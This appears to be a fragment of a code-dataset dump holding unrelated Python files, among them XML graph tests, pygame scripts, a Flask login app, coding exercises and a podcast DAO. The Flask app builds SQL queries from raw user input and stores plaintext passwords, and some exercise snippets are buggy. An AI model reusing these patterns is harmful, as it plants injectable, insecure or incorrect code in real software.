from a xml file,\n with custom relationships labels.\n\n Args:\n tmp_path: temporary directory for creating test data files.\n \"\"\"\n xml_file_path: Path = create_xml_file(\n tmp_path / \"example.xml\",\n \"\"\"<uniprot>\n <entry></entry>\n </uniprot>\n \"\"\",\n )\n config = XML2GraphConfig(\n relationship_labels={\n \"entry\": \"HAS_RECORD\",\n },\n )\n\n subgraph: Subgraph = extract_graph(xml_file_path, config)\n assert len(subgraph.nodes) == 2\n assert len(subgraph.relationships) == 1\n assert has_relationships(\n subgraph.relationships,\n [\n (\"Uniprot\", \"HAS_RECORD\", \"Entry\"),\n ],\n )\n\n\ndef test_extract_graph_with_custom_property_names(tmp_path: Path) -> None:\n \"\"\"Test task for extracting a properties subgraph from a xml file,\n with custom property names.\n\n Args:\n tmp_path: temporary directory for creating test data files.\n \"\"\"\n xml_file_path: Path = create_xml_file(\n tmp_path / \"example.xml\",\n \"\"\"<entry created=\"2000-05-30\"></entry>\"\"\",\n )\n config = XML2GraphConfig(\n property_names={\n (\"entry\", \"created\"): \"created_at\",\n },\n )\n subgraph: Subgraph = extract_graph(xml_file_path, config)\n assert len(subgraph.nodes) == 1\n assert equal_nodes(\n subgraph.nodes,\n [\n Node(\"Entry\", created_at=\"2000-05-30\"),\n ],\n )\n\n\ndef test_extract_graph_with_custom_attribute_value_types(tmp_path: Path) -> None:\n \"\"\"Test task for extracting a properties subgraph from a xml file,\n with custom attribute value type.\n\n Args:\n tmp_path: temporary directory for creating test data files.\n \"\"\"\n xml_file_path: Path = create_xml_file(\n tmp_path / \"example.xml\",\n \"\"\"\n <entry created=\"2000-05-30\"></entry>\n \"\"\",\n )\n\n config = XML2GraphConfig(\n property_types={\n (\"entry\", \"created\"): lambda v: dateutil.parser.parse(v).date()\n },\n )\n\n subgraph: Subgraph = extract_graph(xml_file_path, config)\n\n assert len(subgraph.nodes) == 1\n\n assert equal_nodes(\n subgraph.nodes,\n [\n Node(\"Entry\", created=date(2000, 5, 30)),\n ],\n )\n\n\ndef test_extract_graph_with_merges(tmp_path: Path) -> None:\n \"\"\"Test task for extracting a properties subgraph from a xml file,\n configuring elements to merge with their parents.\n\n Args:\n tmp_path: temporary directory for creating test data files.\n \"\"\"\n xml_file_path: Path = create_xml_file(\n tmp_path / \"example.xml\",\n \"\"\"\n <uniprot>\n <entry dataset=\"Swiss-Prot\" created=\"2000-05-30\">\n <accession>Q9Y261</accession>\n <protein _id=\"Q9Y261\">\n <recommendedName></recommendedName>\n </protein>\n <accession>Q8WUW4</accession>\n </entry>\n </uniprot>\n \"\"\",\n )\n\n config = XML2GraphConfig(elements_for_merging_with_parents={\"protein\"})\n subgraph: Subgraph = extract_graph(xml_file_path, config=config)\n\n assert len(subgraph.nodes) == 5\n assert len(subgraph.relationships) == 4\n\n assert equal_nodes(\n subgraph.nodes,\n [\n Node(\"Uniprot\"),\n Node(\"Accession\", value=\"Q9Y261\"),\n Node(\"Protein\", _id=\"Q9Y261\", dataset=\"Swiss-Prot\", created=\"2000-05-30\"),\n Node(\"Accession\", value=\"Q8WUW4\"),\n Node(\"RecommendedName\"),\n ],\n )\n assert has_relationships(\n subgraph.relationships,\n [\n (\"Uniprot\", \"HAS_ENTRY\", \"Protein\"),\n (\"Protein\", \"HAS_ACCESSION\", \"Accession\"),\n (\"Protein\", \"HAS_ACCESSION\", \"Accession\"),\n (\"Protein\", \"HAS_RECOMMENDED_NAME\", \"RecommendedName\"),\n ],\n )\n\n\ndef test_extract_graph_with_merge_but_no_parent(tmp_path: Path) -> None:\n \"\"\"Test task for extracting a properties subgraph from a xml file,\n configuring an element to merge with its parent, but with xml where\n it has no parent.\n\n Args:\n tmp_path: temporary directory for creating test data files.\n \"\"\"\n xml_file_path: Path = create_xml_file(\n tmp_path / \"example.xml\",\n \"\"\"\n <protein _id=\"Q9Y261\"></protein>\n \"\"\",\n )\n\n config = XML2GraphConfig(elements_for_merging_with_parents={\"protein\"})\n subgraph: Subgraph = extract_graph(xml_file_path, config=config)\n\n assert len(subgraph.nodes) == 1\n\n assert equal_nodes(\n subgraph.nodes,\n [\n Node(\"Protein\", _id=\"Q9Y261\"),\n ],\n )\n\n\ndef test_extract_graph_with_collection_elements(tmp_path: Path) -> None:\n \"\"\"Test task for extracting a properties subgraph from a xml file,\n configuring collection elements.\n\n Args:\n tmp_path: temporary directory for creating test data files.\n \"\"\"\n xml_file_path: Path = create_xml_file(\n tmp_path / \"example.xml\",\n \"\"\"\n <citation>\n <title>The DNA sequence and...\n \n \n \n \n \n \n\n \"\"\",\n )\n\n config = XML2GraphConfig(collection_elements={\"authorList\": \"HAS_AUTHOR\"})\n subgraph: Subgraph = extract_graph(xml_file_path, config=config)\n\n assert len(subgraph.nodes) == 5\n assert len(subgraph.relationships) == 4\n\n assert equal_nodes(\n subgraph.nodes,\n [\n Node(\"Citation\"),\n Node(\"Title\", value=\"The DNA sequence and...\"),\n Node(\"Person\", name=\"Deloukas P.\"),\n Node(\"Person\", name=\"Matthews L.H.\"),\n Node(\"Person\", name=\"Ashurst J.L.\"),\n ],\n )\n assert has_relationships(\n subgraph.relationships,\n [\n (\"Citation\", \"HAS_TITLE\", \"Title\"),\n (\"Citation\", \"HAS_AUTHOR\", \"Person\"),\n (\"Citation\", \"HAS_AUTHOR\", \"Person\"),\n (\"Citation\", \"HAS_AUTHOR\", \"Person\"),\n ],\n )\n","repo_name":"91nunocosta/prot","sub_path":"tests/test_xml_extract.py","file_name":"test_xml_extract.py","file_ext":"py","file_size_in_byte":11280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73975774542","text":"import pygame\n\nancho=1200\nalto=400\ncentro=[300,300]\nNEGRO = [0, 0, 0]\nVERDE = [0,255,0]\nROJO = [255, 0, 0]\nmap = pygame.image.load(\"terrenogen.png\")\nfin = False\npygame.init()\npantalla=pygame.display.set_mode([ancho,alto])\n\nwhile not fin:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n fin=True\n for i in range(32):\n for j in range(12):\n im = pygame.Surface.subsurface(map, (i*32, j*32, 32, 32))\n pantalla.blit(im, [32*i, 32*j])\n pygame.display.flip()\n","repo_name":"maicandrew/Computacion-Grafica","sub_path":"cortar_mapa.py","file_name":"cortar_mapa.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3221994468","text":"from flask import Flask, Response, redirect, url_for, request, session, abort, render_template\nfrom flask_login import LoginManager, UserMixin,login_required, login_user, logout_user\nimport sqlite3 as sql\n\napp = Flask(__name__)\n\napp.config.update(\n DEBUG = False,\n SECRET_KEY = 'sekretny_klucz'\n)\n\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = \"login\"\n\nclass User(UserMixin):\n def __init__(self, id):\n con = sql.connect('database.db')\n cur = con.cursor()\n self.id = id\n cur.execute(\"SELECT login, haslo FROM uzytkownik WHERE id = \" + str(id))\n row = cur.fetchall()\n for r in row:\n self.name = str(r[0])\n self.password = str(r[1])\n\n def __repr__(self):\n return \"%d/%s/%s\" % (self.id, self.name, self.password)\n\n@app.route(\"/\")\ndef main():\n dane = {'tytul': 'Witaj na stronie głównej Auto Land!', 'tresc': 'Czytaj, dodawaj, ucz się!'}\n return render_template('index.html', tytul = dane['tytul'], tresc = dane['tresc'])\n\n@app.route(\"/dodajUzytkownika\")\ndef dodaj():\n dane = {'tytul': 'Zarejestruj się!', 'tresc': 'Podaj dane!'}\n return render_template('rejestracja.html', tytul = dane['tytul'], tresc = dane['tresc'])\n\n@app.route('/addrec',methods = ['POST', 'GET'])\ndef addrec():\n if request.method == 'POST':\n try:\n imie = request.form['imie']\n nazwisko = request.form['nazwisko']\n login = request.form['login']\n haslo = request.form['haslo']\n \n conn = sql.connect(\"database.db\")\n cur = conn.cursor()\n cur.execute(\"SELECT COUNT(1) FROM uzytkownik WHERE login = '\" + login + \"'\")\n \n if not cur.fetchone()[0]:\n cur.execute(\"INSERT INTO uzytkownik (imie, nazwisko, login, haslo) VALUES (?, ?, ?, ?)\", (imie, nazwisko, login, haslo))\n conn.commit()\n msg = \"Pomyslnie zarejestrowano użytkownika! Od teraz możesz przeglądać stronę!\"\n else:\n msg = \"Login jest zajęty!\"\n except:\n conn.rollback()\n msg = \"Podczas rejestracji wystąpił błąd!\"\n finally:\n return render_template(\"wynik.html\", tytul = \"Rezultat\", tresc = msg)\n conn.close()\n\n@app.route(\"/listaUzytkownikow\")\n@login_required\ndef lista():\n dane = {'tytul': 'Lista użytkowników', 'tresc': 'Poniżej znajdują się zarejestrowane konta!'}\n con = sql.connect('database.db')\n con.row_factory = sql.Row\n cur = con.cursor()\n cur.execute(\"SELECT * FROM uzytkownik order by imie\")\n rekordy = cur.fetchall()\n con.close()\n return render_template('lista_uzytkownikow.html', tytul = dane['tytul'], tresc = dane['tresc'], rekordy = rekordy)\n\n@app.route(\"/dodajPost\")\n@login_required\ndef dodajPost():\n dane = {'tytul': 'Witamy serdecznie!', 'tresc': 'Poniżej możesz podzielić się swoją wiedzą z innymi!'}\n return render_template('dodaj_post.html', tytul = dane['tytul'], tresc = dane['tresc'])\n\n@app.route('/addrecc',methods = ['POST', 'GET'])\ndef addrecc():\n if request.method == 'POST':\n try:\n operacja = request.form['operacja']\n sposob_wykonania = request.form['sposob_wykonania']\n autor = request.form['autor']\n with sql.connect(\"database.db\") as con:\n cur = con.cursor()\n cur.execute(\"INSERT INTO post (operacja, sposob_wykonania, autor) VALUES (?,?,?)\",(operacja,sposob_wykonania,autor))\n con.commit()\n msge = \"Udało Ci się dodać poradnik!\"\n except:\n con.rollback()\n msge = \"Nie udało Ci się dodać poradniku!\"\n finally:\n return render_template(\"wynik.html\", tresc = msge)\n cur.close()\n con.close()\n \n@app.route(\"/listaPostow\")\n@login_required\ndef listaPostow():\n con = sql.connect('database.db')\n con.row_factory = sql.Row\n cur = con.cursor()\n cur.execute('SELECT * FROM post')\n rekordy = cur.fetchall()\n con.close()\n return render_template('lista_postow.html', rekordy = rekordy)\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if request.method == 'POST':\n username = request.form['username']\n password = request.form['password']\n \n conn = sql.connect(\"database.db\")\n cur = conn.cursor()\n cur.execute(\"SELECT COUNT(1) FROM uzytkownik WHERE login = '\" + username +\"'\")\n\n if not cur.fetchone()[0]:\n return abort(401)\n else:\n cur.execute(\"SELECT id, haslo FROM uzytkownik WHERE login = '\" + username +\"'\")\n row = cur.fetchall()\n for r in row:\n if password == r[1]:\n user = User(r[0])\n login_user(user)\n return redirect(url_for(\"main\"))\n else:\n return abort(401)\n else:\n return render_template('logowanie.html')\n\n#Procedura wylogowania \n@app.route(\"/logout\")\n@login_required\ndef logout():\n logout_user()\n dane = {'tytul': 'Wylogowanie'}\n return render_template('wylogowanie.html', tytul = dane['tytul'])\n\n#Procedura obsługi błędu logowania\n@app.errorhandler(401)\ndef page_not_found(e):\n dane = {'tytul': 'Coś poszło nie tak...', 'blad': '401'}\n return render_template('blad.html', tytul = dane['tytul'], blad = dane['blad'])\n\n#Przeładowanie uzytkownika\n@login_manager.user_loader\ndef load_user(userid):\n return User(userid)\n\nif __name__ == \"__main__\":\n app.run()","repo_name":"Adrian312/PWJS","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5611,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23670056219","text":"semi_annual_raise = 0.07 # Your semi-anual raise (every 6 months)\nannaul_rate = 0.04 # Your annual rate of return for your investments\ntotal_cost = 1000000 # The total cost of your house\ndown_payment = 0.25 * total_cost # The down payment needed for the house\ncurrent_savings = 0.0 # Your current savings\nmonths = 0 # The number of months to achieve your down payment for the house\nbisection_steps = 0 # The number of bisection steps\nlow = 0 # Low value\nhigh = 10000 # High value\nepsilon = 100 # Epsilon\n\nwhile True:\n try:\n starting_salary = float(input(\"Enter the starting salary: \")) # Enter your starting salary\n break\n except ValueError:\n continue\n\npercent_saved = int((low + high) / 2) # The percentage amount currently saved\nmonthly_salary = (starting_salary / 12) # Calculate the monthly salary\n\n# While months is less than 36 calculate the best saving rate for a house down payment\nwhile(current_savings - down_payment >= epsilon and months <= 36):\n current_savings += monthly_salary * percent_saved\n current_savings += current_savings * annaul_rate / 12\n if(months % 6 == 0):\n monthly_salary += monthly_salary * semi_annual_raise\n while True:\n # If current savings is less than the down payment needed for the house look lower\n if(current_savings < down_payment):\n low = percent_saved\n # If current savings is greater than the down payment needed for the house look higher\n elif(current_savings > down_payment):\n high = percent_saved\n else:\n print(\"It is not possible to pay the down payment in three years\")\n\n percent_saved = ((low + high) / 2)\n bisection_steps += 1\n months += 1\n\nprint(f\"Best savings rate: {percent_saved}\\n\") # Print the best savings rate\nprint(f\"Steps in bisection search: {bisection_steps}\\n\") # Print number of steps in bisection search\n","repo_name":"MDCGP105-1718/portfolio-MichaelRDavis","sub_path":"Python/Week 3/ex9.py","file_name":"ex9.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32024147184","text":"# Given a Binary Tree, write a function that returns the size of the largest\n# subtree which is also a Binary Search Tree (BST). If the complete Binary Tree is BST,\n# then return the size of the whole tree.\n# https://www.geeksforgeeks.org/largest-bst-binary-tree-set-2/\n\n\nclass Node:\n\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n\n\nclass Helper():\n def __init__(self):\n self.lower = float('-inf')\n self.upper = float('inf')\n self.isBst = False\n self.size = 0\n\n\ndef helper(node):\n c = Helper()\n if node == None:\n c.isBst = True\n return c\n\n l = helper(node.left)\n r = helper(node.right)\n\n # current subtree's boundaries\n c.lower = max(node.val, l.lower)\n c.upper = min(node.val, r.upper)\n\n # check left and right subtrees are BST or not\n # check left's upper again current's value and right's lower against current's value\n if l.isBst and r.isBst and node.val > l.lower and node.val < r.upper:\n c.isBst = True\n c.size = 1 + l.size + r.size\n\n else:\n c.size = max(l.size, r.size)\n\n print(c.size, node.val)\n\n return c\n\n\ndef largest_bst(node):\n return helper(node).size\n\n\n\"\"\" Let us construct the following Tree\n 50\n / \\\n 15 60\n / \\ / \\\n5 20 45 70\n / \\\n 65 80\n\"\"\"\nroot = Node(50)\nroot.left = Node(30)\nroot.right = Node(60)\nroot.left.left = Node(5)\nroot.left.right = Node(20)\nroot.right.left = Node(45)\nroot.right.right = Node(70)\nroot.right.right.left = Node(65)\nroot.right.right.right = Node(80)\n\n\nprint(\"Size of the largest BST is\",\n largest_bst(root))\n","repo_name":"ccronca/ct-ci-solutions","sub_path":"chapter4/extra/max-valid-bst.py","file_name":"max-valid-bst.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3708800998","text":"def build_dest_dict():\n data = '''\nnull 0 0 0\nM 0 0 1\nD 0 1 0\nMD 0 1 1 \nA 1 0 0\nAM 1 0 1 \nAD 1 1 0 \nAMD 1 1 1\n '''\n\n dest_dict = {}\n lines = data.split('\\n')\n\n for line in lines:\n splitted = line.split(' ')\n\n cmd_left = splitted[0]\n if not cmd_left:\n continue\n\n list_body = splitted[1:]\n body = ''.join(list_body)\n\n dest_dict[cmd_left] = body\n\n return dest_dict","repo_name":"antonc27/nand2tetris","sub_path":"projects/06/assembler/helpers/dest_dict.py","file_name":"dest_dict.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20530866634","text":"import collections\nclass Solution:\n def subdomainVisits(self, cpdomains):\n \"\"\"\n :type cpdomains: List[str]\n :rtype: List[str]\n \"\"\"\n c = collections.Counter()\n for str in cpdomains:\n index, content = str.split()\n c[content] += int(index)\n for i in range(len(content)):\n if content[i] =='.':\n c[content[i+1:]] += int(index)\n return[\"%d %s\" % (c[k],k)for k in c]\n","repo_name":"yeliuyChuy/leetcodePython","sub_path":"811SubdomainVisitCount.py","file_name":"811SubdomainVisitCount.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43008845505","text":"# merge all overlapping intervals\n\ndef mer (intervals):\n intervals=sorted([intervals])\n new_list=[]\n start=intervals[0][0][0]\n end =intervals[0][0][1]\n print(start,end )\n for i in intervals[0][1:]:\n print(i)\n \n if i[0]>=start and i[0]<=end :\n if i[1]>= start and i[1]<=end :\n start=start\n end=end\n else: \n\n if i[0]>=start and i[0]<=end :\n if i[1]>= start and i[1]>=end :\n end = intervals[i][1]\n \n else:\n if i[0]>=start and i[0]>=end :\n if i[1]>= start and i[1]>=end :\n start= intervals[i[0]]\n end=intervals[i[1]]\n \n print (i)\n new_list.append([start,end])\n return new_list\narray=[[1,4],[3,6],[7,8]]\nprint(mer(array))","repo_name":"tanyaapb03/practice--January","sub_path":"Q7.py","file_name":"Q7.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"441572808","text":"import os\n\nASSETS_DIR=os.path.join(os.path.dirname(os.path.abspath(__file__)), '../assets')\n\nUSER_DIR=os.path.join(ASSETS_DIR, 'users/')\n\nSTATIC_DIR=os.path.join(os.path.dirname(os.path.abspath(__file__)), '../../templates/BS3')\nSTATIC_USER_DIR='assets/users'\n\nPOWERAI_VISION_API='https://129.33.249.70/powerai-vision-ny/api/dlapis/36072619-279e-4e9d-8f2a-56124cbf92a5'","repo_name":"ngocbh/paint-defect-inspection","sub_path":"server/utils/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17843914487","text":"# ---\n# jupyter:\n# jupytext:\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.4.1\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# ### COVID-19 US Stats\n# This notebook lets you examine and plot the data shared through the JHU CSSE git repo\n#\n# git clone https://github.com/CSSEGISandData/COVID-19.git\n#\n# The git repo provides country-by-country (and province by province, for some countries) daily stats for confirmed COVID-19 cases, and deaths.\n#\n# This notebook pulls just the state-level US data out of the repo. An accompanying notebook does the same for the country-level stats.\n#\n# _NOTE_ After Mar 23, 2020, the state-level data is no longer in the global time-series spreadsheet. So, here we pull it from the daily reports and stitch it back together into a timeline.\n\nimport pandas as pd\nimport numpy as np\nfrom pathlib import Path\nfrom datetime import date\n# %autosave 0\n\n# You will need to set 'repo' to the absolute pathname for the COVID-19 repo, on your system.\nrepo = Path.home() / \"data-stuff/COVID-19\"\n\nstates = [\"Alabama\", \"Alaska\", \"Arizona\", \"Arkansas\", \"California\", \"Colorado\", \"Connecticut\", \"Delaware\",\n\"District of Columbia\", \"Florida\", \"Georgia\", \"Hawaii\", \"Idaho\", \"Illinois\", \"Indiana\", \"Iowa\",\n\"Kansas\", \"Kentucky\", \"Louisiana\", \"Maine\", \"Maryland\", \"Massachusetts\", \"Michigan\", \"Minnesota\",\n\"Mississippi\", \"Missouri\", \"Montana\", \"Nebraska\", \"Nevada\", \"New Hampshire\", \"New Jersey\", \"New Mexico\",\n\"New York\", \"North Carolina\", \"North Dakota\", \"Ohio\", \"Oklahoma\", \"Oregon\", \"Pennsylvania\",\n\"Puerto Rico\", \"Rhode Island\", \"South Carolina\", \"South Dakota\", \"Tennessee\", \"Texas\", \"Utah\",\n\"Vermont\", \"Virginia\", \"Washington\", \"West Virginia\", \"Wisconsin\", \"Wyoming\",]\n\n# +\nname_map = {\"Country/Region\": \"country\",\n \"Province/State\": \"state\",\n \"Country_Region\": \"country\",\n \"Province_State\": \"state\",\n \"Admin2\": \"county\",\n \"Confirmed\": \"confirmed\",\n \"Deaths\": \"deaths\"}\n \ndef load_daily_report(pathname):\n df = pd.read_csv(pathname)\n df = df.rename(columns=name_map)\n m, d, y = [int(v) for v in str(Path(pathname).name).replace(\".csv\", \"\").split(\"-\")]\n dt = date(y, m, d)\n if \"state\" not in df.columns:\n return dt, None\n\n df = df[df[\"country\"] == \"US\"]\n if dt < date(2020, 3, 22) and \"county\" in df.columns:\n df = df[df[\"county\"].isnull()]\n df = df[[\"state\", \"confirmed\", \"deaths\"]]\n df = df.groupby(\"state\").agg(np.sum)\n return dt, df\n\n\n# +\ndata_dir = Path(repo) / \"csse_covid_19_data/csse_covid_19_daily_reports\"\n\ndated_files = []\nfor file in data_dir.glob(\"*-*-2020.csv\"):\n m, d, y = [int(v) for v in str(file.name).replace(\".csv\", \"\").split(\"-\")]\n dated_files.append(((y, m, d), file))\n\nconfirmed = pd.DataFrame(index=states)\ndeaths = pd.DataFrame(index=states)\n\nfor _, file in sorted(dated_files):\n dt, df = load_daily_report(file)\n if df is not None:\n confirmed[dt] = df[\"confirmed\"]\n deaths[dt] = df[\"deaths\"]\n \nconfirmed = confirmed.transpose()\ndeaths = deaths.transpose()\n\nconfirmed.index = pd.to_datetime(confirmed.index)\ndeaths.index = pd.to_datetime(deaths.index)\n# -\n\nstates = [\"New York\", \"Washington\", \"California\", \"New Jersey\", \"Florida\", \"Illinois\", \"Michigan\", \"Louisiana\"]\noptions = {\"logy\": False, \"figsize\": (13,8)}\n\nconfirmed[states].last(\"10D\").plot(title=\"Confirmed US Cases, by State\", **options)\n\ndeaths[states].last(\"10D\").plot(title=\"US Deaths, by State\", **options)\n\nconfirmed[states].last(\"10D\")\n\ndeaths[states].last(\"10D\")\n\n\n","repo_name":"tomp/covid-19-notebooks","sub_path":"COVID-19 US Stats.py","file_name":"COVID-19 US Stats.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27811927375","text":"import datetime\nimport time\n\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.sites.models import Site\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.core.management.base import BaseCommand\nfrom django.template import Context\nfrom django.template.loader import get_template\n\n\nUserModel = get_user_model()\ntoday = datetime.date.today()\none_day_ago = today - datetime.timedelta(days=1)\nlast_seen_timestamp = time.mktime(one_day_ago.timetuple())\n\n\nclass Command(BaseCommand):\n help = 'Sends email digest of new activity to users who requested one.'\n\n def handle(self, *args, **options):\n count = 0\n site = Site.objects.get_current()\n for user in UserModel.objects.filter(get_digest=1):\n subject = '{} Digest for {}'.format(site.name, today.strftime(\"%A, %B %e\"))\n\n watchlist = []\n watch_objects = [w.content_object for w in user.watch_set.all()]\n for obj in watch_objects:\n if hasattr(obj, 'modified') and (obj.modified.date() > one_day_ago or obj.modified_int > last_seen_timestamp):\n watchlist.append(obj)\n\n c = Context({\n 'user': user,\n 'subject': subject,\n 'last_seen': one_day_ago,\n 'today': today,\n 'watchlist': watchlist,\n 'site': site,\n 'site_root': 'http://{}'.format(site.domain),\n 'theme': user.theme\n })\n tmpl = get_template('users/digest.html')\n\n body = tmpl.render(c)\n msg = EmailMultiAlternatives(\n subject,\n body,\n settings.ADMINS[0]\n [user.email]\n )\n msg.attach_alternative(body, \"text/html\")\n msg.send()\n count += 1\n","repo_name":"tBaxter/Tango","sub_path":"build/lib/tango_user/management/commands/send_digest.py","file_name":"send_digest.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"47"} +{"seq_id":"13671156809","text":"from datetime import datetime as dt\nfrom sqlalchemy.sql.expression import func\nfrom app.pcasts.dao import episodes_dao\nfrom . import *\n\ndef store_series_and_episodes_from_feed(feed):\n series_dict = feed.get('series')\n new_series = Series(\n id=series_dict.get('id'),\n title=series_dict.get('title'),\n country=series_dict.get('country'),\n author=series_dict.get('author'),\n image_url_lg=series_dict.get('image_url_lg'),\n image_url_sm=series_dict.get('image_url_sm'),\n feed_url=series_dict.get('feed_url'),\n genres=series_dict.get('genres')\n )\n models_to_commit = [new_series]\n for episode_dict in feed.get('episodes'):\n pub_date = None if episode_dict.get('pub_date') is None else \\\n dt.fromtimestamp(episode_dict.get('pub_date'))\n ep = Episode(\n title=episode_dict.get('title'),\n author=episode_dict.get('author'),\n summary=episode_dict.get('summary'),\n pub_date=pub_date,\n duration=episode_dict.get('duration'),\n audio_url=episode_dict.get('audio_url'),\n tags=episode_dict.get('tags'),\n series_id=new_series.id)\n models_to_commit.append(ep)\n results = db_utils.commit_models(models_to_commit)\n return results[0] # return the resultant series\n\ndef remove_series(series_id):\n return Series.query.filter(Series.id == series_id).delete()\n\ndef get_series(series_id, user_id):\n series = Series.query.filter(Series.id == series_id).first()\n series.is_subscribed = is_subscribed_by_user(series_id, user_id)\n most_recent_episode_pub_date = Episode.query.\\\n with_entities(func.max(Episode.pub_date)).\\\n filter(Episode.series_id == series_id).first()[0]\n series.last_updated = most_recent_episode_pub_date\n return series\n\ndef get_multiple_series(series_ids, user_id):\n # returns series in ascending order\n if not series_ids:\n return []\n series = Series.query.filter(Series.id.in_(series_ids)) \\\n .order_by(Series.id.asc()).all()\n last_updated_result = Episode.query \\\n .with_entities(Episode.series_id, func.max(Episode.pub_date)) \\\n .filter(Episode.series_id.in_(series_ids)) \\\n .group_by(Episode.series_id) \\\n .order_by(Episode.series_id.asc()).all()\n\n last_updated_map = {sid: lu for (sid, lu) in last_updated_result}\n for s in series:\n s.is_subscribed = is_subscribed_by_user(s.id, user_id)\n if s.id in last_updated_map:\n s.last_updated = last_updated_map[s.id]\n else:\n s.last_updated = None\n return series\n\ndef clear_all_subscriber_counts():\n series = Series.query.filter(Series.subscribers_count > 0).all()\n for s in series:\n s.subscribers_count = 0\n db_utils.commit_models(series)\n\ndef is_subscribed_by_user(series_id, user_id):\n optional_series = Subscription.query \\\n .filter(Subscription.series_id == series_id,\n Subscription.user_id == user_id) \\\n .first()\n return optional_series is not None\n\ndef search_series(search_name, offset, max_search, user_id):\n possible_series_ids = [\n tup[0] for tup in\n Series.query.\\\n with_entities(Series.id).\\\n filter(Series.title.like('%' + search_name + '%')).\\\n offset(offset).\\\n limit(max_search).\\\n all()\n ]\n\n return get_multiple_series(possible_series_ids, user_id)\n\n# Second ordering by id to resolve ties showing up at different offsets\ndef get_top_series_by_subscribers(offset, max_search, user_id):\n found_series_ids = [\n tup[0] for tup in\n Series.query.\\\n with_entities(Series.id, Series.subscribers_count).\\\n order_by(Series.subscribers_count.desc()).\\\n order_by(Series.id).\\\n offset(offset).\\\n limit(max_search).\\\n all()\n ]\n found_series = get_multiple_series(found_series_ids, user_id)\n return order_by_ids(found_series_ids, found_series)\n","repo_name":"cuappdev/podcast-backend","sub_path":"src/app/pcasts/dao/series_dao.py","file_name":"series_dao.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"47"} +{"seq_id":"11468636009","text":"# coding=utf-8\nimport pygame\n#import wiiuse.pygame_wiimote as pygame_wiimote\n\nimport config\nimport time\nimport enemie\nimport map\nimport random\nimport bomb as BOMB\nimport game\n\n\n# Classe DodgeGame:\n# A classe principal. É aqui que todas as interações do jogador com\n# a partida são realizadas.\nclass DodgeGame:\n\n def __init__(self, game):\n self._alivePlayersList = game.getPlayerList()\n self._enemiesList = []\n self._loseGame = False\n self._FPS = False\n self._playersList = game.getPlayerList()\n self._timer = 0\n self._endTimer = 4\n self._enemieTimer = 5\n self._difficultyTimer = 10\n self._speedIncrease = 0.0\n self._bombTimer = 5\n self._gameIsRunning = True\n self._gameIsPaused = False\n self._gameTime = 0\n self._map = map.Map(config.DISPLAY_WIDTH, config.DISPLAY_HEIGHT, config.MAP_BACKGROUND)\n self._pygame = game._pygame\n self._game = game\n self._sounds = []\n self._initializeSounds()\n self._bombsList = []\n self._explodedBombsList = []\n\n def _initializeSounds(self):\n self._sounds.append(self._pygame.mixer.Sound(config.GAME_SONG))\n self._sounds.append(self._pygame.mixer.Sound(config.WIN_SOUND))\n self._sounds.append(self._pygame.mixer.Sound(config.DEATH_SOUND))\n self._sounds.append(self._pygame.mixer.Sound(config.EXPLOSION_SOUND))\n self._sounds.append(self._pygame.mixer.Sound(config.DESPACITO))\n self._sounds[0].set_volume(0.1)\n self._sounds[1].set_volume(0.5)\n self._sounds[2].set_volume(0.5)\n self._sounds[3].set_volume(0.5)\n self._sounds[4].set_volume(0.5)\n\n def _increaseDifficulty(self):\n self._speedIncrease += 0.1\n\n def getGameTime(self):\n return self._gameTime\n\n def isRunning(self):\n return self._gameIsRunning\n\n def stopGame(self):\n self._gameIsRunning = False\n\n def isPaused(self):\n return self._gameIsPaused\n\n def pauseGame(self):\n self._gameIsPaused = True\n\n def resumeGame(self):\n self._gameIsPaused = False\n\n def getPlayers(self):\n return self._playersList\n\n def getAlivePlayers(self):\n return self._alivePlayersList\n\n def isTheLastPlayer(self):\n if len(self._alivePlayersList) == 1:\n return True\n else:\n return False\n\n def killPlayer(self, player):\n if self._alivePlayersList.__contains__(player):\n self._alivePlayersList.remove(player)\n\n def addEnemie(self, newEnemie):\n self._enemiesList.append(newEnemie)\n\n def spawnEnemie(self, enemie):\n self.addEnemie(enemie)\n self._enemieTimer = 2\n\n def killEnemie(self, enemie):\n if self._enemiesList.__contains__(enemie):\n self._enemiesList.remove(enemie)\n\n def getEnemies(self):\n return self._enemiesList\n\n def getEnemieToSpawn(self):\n randomNumber = random.randint(1, 4)\n randomPosition = random.randint(0, config.DISPLAY_WIDTH-1) , random.randint(0, 